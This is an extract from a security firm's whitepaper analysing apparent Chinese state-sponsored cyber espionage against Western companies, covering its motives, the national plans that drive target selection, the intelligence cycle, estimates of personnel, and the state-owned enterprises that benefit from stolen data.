It is not generally available to those that need it the most  companies that innovate and excel in niche areas and supply technology or products that other companies make use of in larger projects.
These companies live and die by the success of their research and development, but often lack the budgetary resources or expertise required to adequately protect their networks from this type of threat.
Even when compromises are investigated by companies that understand the attackers and their motives, it is often not felt to be in the interests of either party to publish the findings of those investigations, or to share the results with the affected companys competitors, who 4 http://www.cpni.gov.uk 5 http://www.fbi.gov/ http://www.cpni.gov.uk/ http://www.fbi.gov/ Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 6 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / may be suffering from similar attacks.
There is also a widespread lack of understanding of targeted attacks among IT staff, a lack of dedicated IT security personnel and, sometimes as a consequence of IT functions being outsourced, an over-reliance on traditional security products such as anti-virus and firewalls  both of which are ineffective against even lower end targeted attacks.
The pressure exerted on IT staff from the business is primarily concerned with service uptime and availability rather than security and budgets for even routine security operations such as penetration testing are under constant pressure.
It is a sad fact that, for many businesses, money for IT security only becomes available once a serious problem has been identified, by which time it is often too late.
One more common problem in private sector companies is that some managers take the attitude that they would prefer not to know about security problems.
Information Technology departments may worry that commissioning a detection exercise to find compromised hosts in their environment, could reveal a series of attacks and the theft of data, which might not be good for their career prospects.
Higher up the management chain, board members may even choose not to spend money on security on the grounds that this will affect profitability and perhaps the size of their salaries or bonuses.
They may instead prefer to postpone any major spending on security until they absolutely have to.
Why Cyber?
Clearly, the Chinese government is keen to understand the political decisions taken by other countries and the activities of opposition groups within China, so it is hardly surprising that it orchestrates the compromise of computers via emailed Trojan attachments or links to compromised websites on a large scale.
This is nothing new just traditional espionage with a new methodology.
Until recently China, like most other developed countries, would have hand-picked intelligence officers from universities and the military, trained them in the arts of developing relationships, recruiting agents and how to covertly gather information to pass back to Beijing.
They would have been deployed to embassies overseas or under a business cover.
The arrival of the Internet did not sound the death knell for human spying, it simply offered an attractive alternative.
Moving espionage operations into the virtual world brings some advantages.
Firstly, it does not require anyone to be sent overseas.
This is an important change for the governments of communist countries, naturally suspicious of the long term intentions of even their most trusted officials.
It means there is less need to invest in lengthy training processes.
Instead, hacking operations can be broken down into simple tasks and partly automated to minimise the need for operators with advanced technical skills.
Conducting these operations is cheap and carries a lesser risk than human espionage: even if the target is fairly certain as to the origin of an attack, the sponsoring government can claim to be a victim of mistaken identity or of a western conspiracy.
But the key benefit of this type of espionage is that any piece of information stored anywhere in the world on a computer or a network connected to the Internet is only a few clicks away from being stolen.
There are even attacks that are designed to jump to computers not connected to the Internet.
If the prize is great enough and the attacker is determined enough, there is always a way.
Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 7 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / How Cyber?
This paper is not concerned with how the attacks happen, which is a subject for a white paper in its own right.
Typically however, the attackers target the desktops and laptops of the victims organisation and send emails with  an attachment containing an exploit, (often an Adobe PDF or Microsoft Office document) that is targeted at one person.
Once the victim opens the attachment the exploit executes, typically downloading and automatically installing a Trojan, which the attacker can then use to access the victims system.
The attackers also utilise website vulnerabilities which exploit vulnerabilities in web browsers such as Internet Explorer or Firefox to download malicious code onto a machine when a user clicks on a link in an email.
Once the attacker has this foothold on the network, they typically look to download and use further hacking tools to escalate privileges to gain administrative access to key internal servers such as Domain Controllers or File Servers.
Once achieved, the attackers typically use another remote desktop or laptop on the network to collate the data stolen and exfilitrate it to their remote servers.
In the case that a network is fully patched and constitutes a hard target, the attackers can respond and raise their game substantially.
This could include exploiting a zero day vulnerability6 or employing other means of installing an implant, such as using physical access to introduce an attack or even attacking a supply chain.
The Targets Despite opening up greatly over the last 15 years, China is still very much run by the Communist Party.
The Party has control over and involvement in every area of daily life, but despite the internal focus, China is careful to keep an eye on the outside world and how the countrys institutions and companies are perceived by foreign governments.
An understanding of other countries political positions on key issues that affect China is key to forward planning, especially for an economy built on cheap exports.
The governments in which the Chinese state is most interested fall into three groups: its nearest neighbours: Japan, Taiwan, the disputed (semi-autonomous) Tibet, Mongolia and the Muslim Stans to the west other powerful states with international influence such as the US, Russia, the UK, Germany, France and India and finally states with strong economic links to China including Brazil, Iran, Australia, parts of Africa and Southeast Asia.
Whilst China will not be interested in the entire spectrum of government affairs in each of these countries, there will be some interest in some parts of all these governments activities.
Gathering information on this scale is a massive task: monitoring relevant issues, identifying individuals with access to that information and crafting attacks in the appropriate form and language.
The other constant preoccupation of the Chinese government is the maintenance of internal and external security.
The enemies of the internal state are referred to as the Five Poisons: the separatist Uighurs (a mainly Muslim group in Northeast China), Tibetan separatists, pro-democracy supporters, supporters of an independent Taiwan and followers of the religious group Falun Gong.
Keeping tabs on these groups and on their known supporters at home and overseas is another huge task.
The Ministry of State Security monitors 6 A zero day vulnerability is one which is not publicly known and for which no patch exists.
Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 8 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / the communications between individuals and groups, a task made considerably easier through the deployment of Trojans to compromise computer equipment.
As a minimum, security services would usually seek to steal email account login and password details in order to be able to log in remotely and read emails.
Google has confirmed this activity was taking place on the Gmail accounts of Chinese dissidents.7 China wants a clear picture of other countries military activities in order to inform its own tactical and strategic decisions.
Human penetrations of foreign military organisations are extremely difficult and carry significant risks, so relatively passive email attacks are an excellent substitute activity, where no single incident can be seen as an act of aggression meriting a military response.
It remains to be seen whether thousands of attacks conducted over a long period of time will come to be regarded as having been a provocative act warranting a military response.
While China has been publicly  albeit mostly not directly  accused of carrying out attacks against governments, military organisations and military contractors numerous times, there are also plenty of examples of private sector organisations being targeted.
Several stand out from the last few years: the Aurora8 attacks that hit Google, Adobe, Juniper, Northrup Grumman and others the McAfee-dubbed Night Dragon9 attacks that struck companies around the world in the energy sector and the Shady RAT10 attacks that affected the steel industry, heavy engineering, construction and communications companies and others.
Interestingly, despite reporting on the intrusions, McAfee does not highlight the fact that anti- virus software did little to stop the attacks in the first place.
In all likelihood all these various operations formed part of the same attack, with different groups or military units carrying out operations sponsored by the Chinese state.
One attack that was clearly carefully planned, and equally linked to the others, was that conducted against RSA11, whereby attackers stole information which allowed them to replicate the SecurID tokens used by companies to authenticate individuals logging onto their networks from remote locations.
Armed with those stolen credentials, an attacker would be able to log in to company networks as if a real user.
The full extent of this breach has not been publicly disclosed, though we do know that Lockheed Martin was attacked and we can speculate that other defence contractors were also targeted.
As full details of what was stolen have never been put into the public domain, we can only guess at the targeted information.
Google claimed Intellectual Property had been stolen, though no further details were given.
But these companies were all targeted for a reason.
Data was identified that would somehow be of use to China.
We will look at who laid out the requirements for this data next.
7 http://googleblog.blogspot.com/2010/01/new-approach-to-china.html 8 http://en.wikipedia.org/wiki/Operation_Aurora 9 http://www.mcafee.com/ca/resources/white-papers/wp-global-energy-cyberattacks- night-dragon.pdf 10 http://www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf 11 http://www.rsa.com/node.aspx?id3872 http://googleblog.blogspot.com/2010/01/new-approach-to-china.html http://en.wikipedia.org/wiki/Operation_Aurora http://www.mcafee.com/ca/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf http://www.mcafee.com/ca/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf http://www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf http://www.rsa.com/node.aspx?id3872 Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 9 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / The Requirements We should never think of Chinese cyber attacks as uncoordinated, random or indiscriminate.
They target companies, governments or individuals because a specific requirement has been identified.
Context has studied a number of Chinese government policies, documents and stated aspirations, as well as Chinese commercial structures, which may show why targets may have been picked and may also help companies to gauge whether their business should consider itself to be at risk of being targeted by a Chinese attacker.
The key documents are the Five Year Plan and the National Outline for Medium and Long Term ST Development.
We will also theorise around the (unwritten) intelligence requirements.
We will then later investigate Chinas state-owned enterprises as potential generators of requests for material to be stolen via targeted attacks and as consumers of stolen data.
The Five Year Plan is a series of development initiatives, both social and economic, that set high level goals for where the Communist Party would like to see the country in five years time.
The latest Plan was finalised in October 2010 and applies to the period 2011  2015.
It contains goals for urbanisation rates and targets for economic growth details the foreign industries that will be invited to do business in China, the scale of proposed construction projects and areas of the country/economy where further development should be encouraged.
These high level goals filter down to all government departments at national, regional and local level, where individual initiatives are managed.
But the plan also hints at the areas where China feels it needs to concentrate its efforts, or where it needs to catch up with other countries elsewhere in the world.
However, targeted attacks are state sponsored, which means that it is not the government that conducts the attack, but departments of the state or affiliated groups.
When the government decides that, for example, it requires intelligence relating to US military operations in Afghanistan, different parts of the state intelligence apparatus will respond to this requirement, each bringing different skill sets to bear on the problem of finding the required information.
For example, the Peoples Liberation Army (PLA) has departments with access to satellite photography, which could provide information on troop movements.
Another department may have access to Signals Intelligence (SIGINT), which intercepts communications.
Chinese diplomats in the country will speak with their Afghan counterparts about the situation, while intelligence officers, perhaps in diplomatic or even non-official roles, are able to exploit human agents with access to useful reporting.
To complement all of these sources, cyber attacks can be used against a variety of targets such as the Pentagon, military forces in theatre, the US embassy, defence contractors and representatives of the UN and NATO.
As cyber proves its worth (if it hasnt already) other parts of the government will seek to develop their own cyber capability to add to their existing capabilities, not wishing to be outshone by competing departments.
One of the points on the Five Year Plan for instance is More efficient development of nuclear power under the precondition of ensured safety, which could suggest that any information gathering attacks against the nuclear energy industry (as opposed to sabotage Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 10 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / or Stuxnet12 style attacks) could be carried out with the express intention of supporting this part of the Plan.
The attacks could be directed against nuclear plants themselves in an attempt to obtain operating information construction companies, to steal building plans (which may also be of value to the military in case of war) regulatory bodies for rules, policies and procedures and any of the hundreds of companies that build parts for the plant or develop technology used in the nuclear process.
In terms of who could be carrying out the attacks, we have to consider not only the military (the Third Department of the PLA has the remit for cyber operations, though other areas are likely to have some capability too), but also nuclear construction companies, the government department with a remit for the energy industry, or any of the hacking groups that are closely affiliated to the state.
Different campaigns may even be competing to steal the same information with the rewards going to the attackers who get it first.
The Plan also advocates the development of high-end manufacturing, hi-tech industry, modern agriculture, high-speed rail and hydropower.
The Plan does not explain in any detail how this development will be achieved, although in some cases it does specify that certain areas will be prioritised for direct foreign investment.
In these cases, foreign firms are invited to partner with local firms to complete a project and engage in technology transfer.
This means (officially) that the Chinese company will learn skills from the foreign company and develop their own capabilities in the area.
Unofficially, it generally ends up with the foreign company having its IP and technology stolen and then finding that it no longer has an invitation to do business in the country.
One good example of technology transfer can be seen in the area of high speed railways.
Originally, trains were purchased from Kawasaki, Siemens and Bombardier and these manufacturers helped create the first high speed lines which opened in 2007.
Soon afterwards China started to build its own high speed trains, modelled on those imported, but with reconfigured components.
There is an ongoing legal case brought by Kawasaki and other Japanese companies relating to Chinese companies attempting to patent Kawasaki technology associated with high speed rail13.
The current Chinese patent laws specify that the owner of a patent registered in China must be Chinese and that the Chinese holder will also be favoured over any foreign claim for the same technology.
In July 2011 two high speed trains collided near Wenzhou, killing (according to state media) 40 people.
There were concerns that the trains contained stolen foreign technology and it has been suggested that this is why the wreckage was buried even before the rescue operation had been completed.
It has also been suggested in certain quarters that burying the wreckage stopped any investigation by the manufacturers into what went wrong (and whether or not there was stolen technology present).
This action attracted widespread criticism of the government, even from some sources within China.
12 http://www.bbc.co.uk/news/technology-11388018 13 http://online.wsj.com/article/SB10001424052748704814204575507353221141616.html http://www.bbc.co.uk/news/technology-11388018 http://online.wsj.com/article/SB10001424052748704814204575507353221141616.html Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 11 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Boosting Domestic Enterprise If the Five Year Plan is short on detail, the National Outline for Medium and Long Term ST Development is not.
This policy essentially sets out the requirement for Indigenous Innovation, the areas where China should not rely on western technology, but should develop a home-grown alternative.
The strong desire for domestic products stems from two issues.
Firstly a suspicion that foreign technology could be used covertly in ways for which it was not originally intended it would be used (for the benefit of the attacking country).
Secondly because in order to sustain high growth rates and satisfy domestic consumption it is better if China manufactures products of equal capability and sells them to its own market than it is to import goods at high prices.
The plan for Indigenous Innovation drills down into each of the areas where China wants to develop a capability in some detail, even setting out priorities.
The list of eleven areas comprises: Energy.
Oil and gas exploration, distribution and power grids, low cost renewable energy, coal liquefaction, industrial energy efficiency Water and Mineral Resources.
Distribution, conservation, desalination, zoning and development of resources Environment.
Pollutant control and recycling, restoration of vulnerable ecosystems, maritime ecosystem protection, environmental change Agriculture.
Genetic resource development, disease prevention, use of agro-forest biomass, multifunctional farming equipment, modern dairy industry Manufacturing Industry.
Basic/generic parts/components, digital intelligent design, recycling iron and steel, marine engineering technology, engineering processes for the defence industry Transportation.
Construction and maintenance technology, high speed rail, energy efficient cars, traffic control systems, alternative fuel based cars Modern Service Industry.
Next generation Internet technology, high performance computers, digital media content platforms, HD displays Population / Health.
Treatment of diseases, medical processes Urbanisation.
Green buildings, architectural energy efficiencies Public Security.
Security warning systems, bio-safety measures Defence.
[
Classified] In addition to these areas, which already contain a lot of areas that targeted western companies operate in, there is a further list of 16 Major Special Projects.
These projects are intended to add to the overall strength of China.
Previous examples of such projects include the development of the hydrogen bomb, launching satellites, manned space flights and hybrid rice.
They are intended also to be a source of national pride.
If one can see the potential for cyber attack to enhance many of the areas outlined above, the list below gives even more scope for the targeted theft of data from companies and governments around the world: Core electronic components, high-end general use chips and basic software products Large-scale integrated circuit manufacturing equipment and techniques Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 12 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / New generation broadband wireless mobile communication networks Advanced numeric-controlled machinery and basic manufacturing technology Large-scale oil and gas exploration Large advanced nuclear reactors Water pollution control and treatment Breeding new varieties of genetically modified organisms Pharmaceutical innovation and development Control and treatment of AIDS, hepatitis, and other major diseases Large aircraft High-definition earth observation system Manned spaceflight and lunar probe programs Classified military projects (x3) If we take the Major Special Projects as a Chinese technology wish list, we can assume there are two different methods that could be used to achieve these goals.
The first involves funding research programmes in universities and companies, educating people over the long term and encouraging a culture of research, development and innovation and an acceptance that achievements in some areas will fall short of expectation.
The second way of viewing the challenge is that much of this technology already exists in the rest of the world, is already proven and is (relatively) easy to obtain.
Far easier to steal the work of others, re-engineer it, improve it if practicable and necessary and be seen to be contributing to the progression of the Chinese state and to do so may also be personally rewarding for members of the Party.
Failure to achieve these goals would almost certainly be seen as unacceptable.
At Risk The companies that generate the target information are not the only ones at risk.
We can also assume that the companies that support these areas  lawyers, sub-contractors, outsourced suppliers and any government departments with links to these firms, would also be attacked as part of an effort to find supporting information.
So long as the product is intended for domestic consumption only, in many cases there are minimal problems for the company targeted to have to face.
Many firms would be unwilling or unable to sell their products into China anyway  either because of a lack of global distribution networks, or because of export restrictions, in the case of sensitive military technologies, so the sale of an identical, stolen product would not directly harm their business.
For example, a company that makes hi-tech export controlled widgets for the US military is unlikely to be able to sell its product in China to the Chinese military.
In any case, the Chinese military would probably prefer to buy a Chinese product.
If the widget designs are stolen and a Chinese company makes the exact same widget, protected by a Chinese patent, the end product could be sold to the PLA.
While the original manufacturer may rightly be concerned by this, the company would not suffer financially.
Until, that is, the product made by the Chinese firm is offered for sale around the world at a much cheaper Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 13 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / price than that for which the original product is sold, because the Chinese firm has not needed to fund RD.
At this point, buyers who simply want a widget that works will buy the cheaper one.
The National Outline document goes on to specify Frontier Technologies: areas such as biotech, IT, advanced materials and manufacturing technologies, energy and marine technology, lasers and (again) aerospace, all areas in which the West has traditionally excelled and China has lagged behind.
The other key area that could lead to a requirement for cyber attacks is Chinas intelligence-gathering operation.
This area is primarily controlled by the Party rather than the intelligence services themselves.
Requirements in this area are likely to incorporate generic tasks to infiltrate and disrupt the activities of the Five Poisons (see above), to gather military secrets from overseas and highlight politically useful information.
That could be, for example, intelligence on economic policies of the Eurozone countries regarding China, NATO plans for Afghanistan, international efforts to negotiate with North Korea or reports into human rights abuses.
The intelligence services will use all of their sources  HUMINT, SIGINT and cyber  to address these requirements.
As the list is never published we can only guess at what it contains, but one may speculate that if intensive investigations focused on the detection of cyber attacks against the Five Poisons (the GhostNet14 report was an excellent start), it is likely that the same malware and infrastructure would be revealed to have been deployed.
14 http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber- Espionage-Network http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-Espionage-Network Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 14 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / How Does it Happen?
If we consider only the Chinese cyber attacks that have been reported we are only looking at the tip of the iceberg.
First, we tend only to see reports of British or American firms being attacked, and we know that only a tiny minority of incidents are reported, because firms are either unaware they have been attacked or are afraid that publicising an incident will damage their brand, their company value or their personal careers.
It is also likely that there is a huge number of small to medium sized enterprises around the world that have no idea that their crown jewels have been stolen.
Governments are unlikely to admit having lost data or to accuse China directly, for fear of risking negative political and economic consequences.
Individual victims living in China will be unable to complain at the intrusion to their privacy, while those outside China may have little recourse to any organisation which would take their claims seriously.
To map out the process and try to think about the scale of the attacks we must start with a classic diagram of the intelligence cycle.
Setting Requirements As we have already seen, China has no issue in identifying requirements.
These lie across the industrial, social and economic spectrum and represent the results of a mammoth effort to identify weaknesses and areas for further development.
Given that the requirements are largely focussed around technical, economic and commercial development rather than social development it is fair to expect that this exercise was not conducted by government alone, but must have been supplemented by private sector (so far as there is one).
However, the setting of requirements covers many more areas than just cyber, so it would not be correct to regard this effort as having been conducted simply to support electronic attacks.
Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 15 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Planning and Direction This is where things get a little bit complicated.
Planning and direction activities take place on multiple levels  at a Party level, regional level, local level, within every key government department, inside every company with a stake in fulfilling the requirements and especially within the military, who evidence suggests are behind the bulk of targeted attacks.
Collection This area covers the whole process of target identification, malware development, crafting the attacks, designing the social engineering, initiating attacks, controlling implants, escalating privileges on the victim network, uploading further tools to maintain and develop access, finding and exfiltrating data of interest, and cleaning up traces of the attack to hinder investigations.
It also requires infrastructure (owned or stolen) to be constructed to support the attack, IP addresses or domain names updated into the implants, training of operators, language skills, management and some form of quality control process to enable some visibility over how well attacks are progressing.
While much of the attack process can be automated or simplified so it can be delegated to less technically adept operators, the scale of the attack is such that many skilled hackers will be needed in an advisory capacity, to conduct manual elements of the attack, to maintain a development program and, in some cases, to share details of the latest attack vectors and vulnerabilities with those tasked with cyber defence to protect Chinese systems from similar attacks.
There will also almost certainly be an administration process that logs attacks and targets, collates information on target systems, feeds data into some form of risk assessment and ensures that all ongoing attacks are focussed on the attainment of a specific requirement.
This is no small operation.
Processing and Exploitation If 1,000 attacks are successful and all result in large amounts of data being stolen from compromised systems, that data needs to be put into a readable format (and decrypted if necessary), made searchable, stored in a database and translated into Chinese  and all these operations have to be carried out in bulk and in real time or something close to it, to allow that information to be used as quickly and effectively as possible.
Of course, the actual number of active compromises at any one time is likely to be many magnitudes higher than 1,000 Analysis and Production The first problem with analysing bulk amounts of data  translated from other languages is that machine translation is often of low quality, particularly for data such as emails written using more colloquial terms.
The second issue is that a large proportion of the stolen documents is likely to be of a highly technical nature: If you steal documents from a widget maker then you need at least a basic knowledge of widgets to be able to understand the Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 16 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / potential value of a document and how best to exploit it.
If there is a lot of widget data you will need a lot of widget specialists or risk the data being out of date by the time it is analysed.
And just because someone understands widgets doesnt mean that they understand gizmos, so another team will be required to look at that data  and so on.
These analysts will provide feedback to operators, perhaps saying get more, or this is no good, get something else.
They may also provide search terms for documents.
All this analysis will then need to be written up into reports which should try to protect the source of the information.
Dissemination If the information is to be useful the reporting process has to be fast, in order to get useful information to the right people.
Dissemination of intelligence reports to security and intelligence officers should be straightforward as all people in the process will have clearances.
But we can assume (although there are no guarantees) that this information is highly classified and dissemination is carefully controlled, which makes disseminating it to government officials a little more difficult, especially if those officials are based outside Beijing, because encrypted links or maybe a network of trusted couriers will be required to transport the reports.
The most difficult task will be delivering reports on commercial or technical development to the right people.
The most trusted individuals will be at the top of organisations, probably as a result of their loyalty to the Party, but these are not necessarily the people able to understand, interpret and exploit the information contained within the report.
So the report or elements of it must be passed downwards to those who do understand it.
This means a significant increase in the number of people who are aware, which represents a significant risk.
The Party must also decide to which companies it will pass information  if five companies all produce widgets do you give the information on next generation widgets to one of them, or all of them?
We will look at one way the Party addresses this issue below.
Getting the dissemination right should in turn generate more requirements and help to create a more refined requirement to feed back into the process and drive the next data acquisition cycle.
Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 17 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / The Scale of the Operation Most authorities attribute responsibility for cyber attacks and intelligence gathering to the Third Department of the PLA (3PLA) and accept that the Second Department (2PLA) may also have a role to play.
Accurate figures for the size of these Departments are not publicly available, but the more success the attackers have, the more funding they are likely to get for further attacks.
Other branches of the military may then see the possibility for increased funding and political glory by competing in the same space.
One very thorough report by Project 204915, a group who analyse the Asian security landscape among other topics, details the Third Department of the PLA and outlines their broader activities and structure.
Their role is primarily SIGINT aimed at intercepting radio, telecoms and email communications and reporting the content as intelligence.
The report contains a figure (though they make clear this is estimated) of 130,000 people being part of the 3PLA.
The 2PLA is concerned with Human Intelligence (HUMINT) as well as SIGINT to support its military intelligence mission.
So trying to work out how many people are involved in this process is only ever going to be based on educated guesswork.
If we look simply at the effort in the 3PLA, put aside all other groups for now and take the figure of 130,000 as true, there is a very large pool of available personnel who are able to support cyber operations.
However, as we have stated above, the 3PLA has a remit broader than simply cyber and other areas are far more established.
Numbers working in the requirements capture and planning area are probably in the low hundreds.
Trying to gauge the size of the collection effort is difficult and requires a large margin of error.
But it is fair to assume that several hundred people could do the target development work around a hundred dedicated specialists could work on malware development (with the Chinese hacking community providing new tools at regular intervals) perhaps one or two thousand low level operators (the B team) supported by another few hundred with more advanced skills (the A team) who look after the most sensitive intrusions an infrastructure team of a few dozen and an operational security team of a few dozen more.
Then come the processing and analysis experts: potentially a pool of several thousand specialists able to read and write in a wide variety of languages hundreds if not thousands of specialists in all of the fields of information being stolen  politics, economics, engineering, IT, science, etc hundreds of report writers dozens of people processing data and dozens more administering the whole process.
If these very rough figures are anywhere close to reality, at least 7,000 people are directly involved in hacking foreign computer networks for the Chinese military and processing the output of those attacks.
Potentially many thousands more see the reporting and are aware of the sorts of results generated by these operations.
15http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 18 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Profiting from the Product So who is most likely to profit from the information being gathered through these attacks?
The political, economic and intelligence reporting has a clear audience, but deciding who the commercial intelligence should be passed to presents a more taxing problem.
Which companies receive this kind of assistance?
The answer may lie in the particular brand of capitalism which China practices.
China is no longer the planned economy it once was and some Chinese companies are now among the largest in the world.
But this is not capitalism as we know it and these companies are far from being truly private.
All the largest companies in China are State Owned Enterprises (SOEs) in which the state is the largest (or only) shareholder.
The state can and does change company board members at will and members of the armed forces are routinely brought into senior management roles.
But in addition to simply appointing the heads of companies, the Party also has a final say over the strategic direction of each company, business planning processes and the size of salaries paid to employees.
After all, if companies are seen to be profiting unfairly at the expense of the workers that could lead to political unrest.
There are currently 117 companies classed as SOEs and under the control of the State- owned Assets Supervision and Administration Commission (SASAC), the primary shareholder in these companies.
To give some idea of the scale of SOEs, they now comprise 80 of the value of Chinas stock market.
Yet in the last 10 years, the number of SOEs has almost halved as SASAC has pushed through mergers of companies with similar strengths to consolidate the overall power of these companies in various sectors and make them more competitive outside China.
SASAC works alongside the Communist Partys Organisation Department, which acts as a human resources department and makes certain that those running these businesses care every bit as much (if not more) about pleasing Party bosses as they do about their success in business.
In addition to the Partys input to the strategies pursued by these companies, the state is also instrumental in guiding them to financial success by other means.
Most significantly it arranges cheap lines of credit, allowing companies to borrow money for expansion and provides a ready-made market for the company  the Party has the ability to block competitors from any industry or to introduce policies which make competitors more expensive.
The state can also provide considerable human resources if a particular company or industry needs to increase production suddenly: large pools of labour in China work for the state rather than companies and so form a mobile and flexible workforce.
But if at the end of the day the products or services a company offers are outdated or of poor quality, that company will fail.
The Party has a vested interest in every SOE performing well Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 19 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / and becoming a national or global champion in its sector, so it may be willing to extend help through the leveraging of intelligence sources.
Note the list of companies and sectors in Appendix A: it is clear that the companies on the list all have interests in areas which will support the Five Year Plan and Indigenous Innovation.
Hypothetical Case Study: Aircraft Construction One good example of how the Party could use its intelligence collection methods to benefit an SOE is seen in the case of COMAC16, the Commercial Aircraft Corporation of China.
COMAC is currently trying to build a large aircraft to compete with the likes of Boeing and Airbus.
In an excellent in-depth paper on Indigenous Innovation17, the US Chamber of Commerce and strategic consulting firm ACPO Worldwide18 detail the desire of China to build an aircraft since the crash (and subsequent re-engineering) of a Pakistan Airlines Boeing 707 in 1971.
The re-engineered plane named the Yun-10 was a complete failure as China did not at that time possess all the necessary technology required to make it a success.
With a rise in the use of air transport within China, domestic carriers are being forced to buy foreign aircraft at enormous cost, whereas a home-grown aircraft could be sold much more cheaply.
The COMAC C91919 is designed to rival the Boeing 737 and Airbus A320 and planned to be operating by 2015, and to encourage foreign companies to share their technology, China has promised access to the market.
Companies including Parker Aerospace, General Electric, Honeywell and Goodrich have all signed up.
Whether they benefit from this move in the long term, or are instead encouraged to leave once they have been bled dry of useful information, remains to be seen.
But for all the help they are getting, Chinese engineers are not yet able to access the technology developed by Boeing and Airbus, or by large aeroplane engine suppliers such as Rolls Royce.
We know therefore that there is intent to build a domestic airliner and that previously re- engineering has been attempted.
Technology transfer is ongoing at the moment, but how (hypothetically) could computer network exploitation attacks help China achieve its goal?
It is hard to imagine that a project of that size would not be given some assistance by the government, given that there is national pride at stake.
If intelligence or military resources could be directed against Boeing and Airbus networks there would be some very quick wins.
Not only could design documents and technical information be stolen en masse and without the need to actually deal with the company, but there could be some weak links in the supply chains of these companies which would help an attacker to penetrate their networks.
First, smaller suppliers would provide an easy target from where attacks could be launched directly, spoofing emails with Trojans to improve the chance of recipients opening them.
Second, both companies have facilities in China, presumably with network connectivity which may provide a direct route into the main network.
There are also Chinese citizens working for the two target organisations who could be tasked to download something nefarious or plug in a USB drive to help their country.
16 http://english.comac.cc/ 17 http://www.uschamber.com/sites/default/files/reports/100728chinareport_0.pdf 18 http://www.apcoworldwide.com/ 19 http://en.wikipedia.org/wiki/Comac_C919 http://english.comac.cc/ http://www.uschamber.com/sites/default/files/reports/100728chinareport_0.pdf http://www.apcoworldwide.com/ http://en.wikipedia.org/wiki/Comac_C919 Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 20 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Finally all large organisations share large amounts of their data with third parties such as law firms and consultants companies that may not protect their networks as effectively as  the target company.
These data aggregators can present a major vulnerability in the security of sensitive data.
The end goal of the project is to sell the aircraft worldwide and to undercut the established suppliers.
COMAC could achieve this by using lines of credit at favourable rates from the Chinese banks that would help to make deals cheaper for airlines purchasing aircraft.
But what really helps these companies undercut foreign rivals is that they have not needed to spend huge amounts of money on RD to get the plane off the ground in the first place.
If designs for the body of the aircraft could be stolen along with aerodynamic information it would cut development time by years and by billions of dollars.
If stolen engine designs were also used that would cut costs further still.
Even if the companies from whom this technology had been stolen were able to see that it had been stolen, they would only be able to take limited action in response and to do so could put at risk their continued ability to operate or sell in China.
The list of SOEs in Appendix A is dominated by transport companies (rail, aerospace and shipping), energy (petrochemical, nuclear, power generation/distribution, hydro), telecoms (mobile, infrastructure), manufacturing, extraction/metals (coal, iron, steel, minerals, aluminium) and trading companies.
If a company has been targeted by Chinese state sponsored cyber espionage, we believe that any information stolen probably ends up in one of these SOEs.
While China is able to manipulate market conditions in various ways to help SOEs prosper, nothing would contribute more to their growth and success than a supply of inside information about the activities of their competitors and customers.
Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 21 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Conclusion This situation has not developed overnight.
These attacks have been going on for years: many reports detail intrusions going back to 2003 and earlier.
It is quite possible that the targets of early attacks were merely foreign governments and dissidents and that the range of targets only broadened with the opening of the Chinese economy and an increased demand for intelligence to support business growth and projects of national importance.
The more success the attackers had, the more that demand grew.
While China continues to carry out cyber attacks on companies throughout the rest of the world and these attacks continue either unnoticed or unpunished, there is no incentive for China to stop.
The more that stolen data is exploited for the benefit of companies and the government, the greater the incentive to continue with these operations.
Governments and large companies do not appear to be making much headway in solving this problem.
For large corporations in the West, where there is a tendency to focus more on the short term and on personal achievement rather than the long term advancement of the state, the potential riches which trade with China offers are so large that turning a blind eye to data theft may seem a reasonable price to pay.
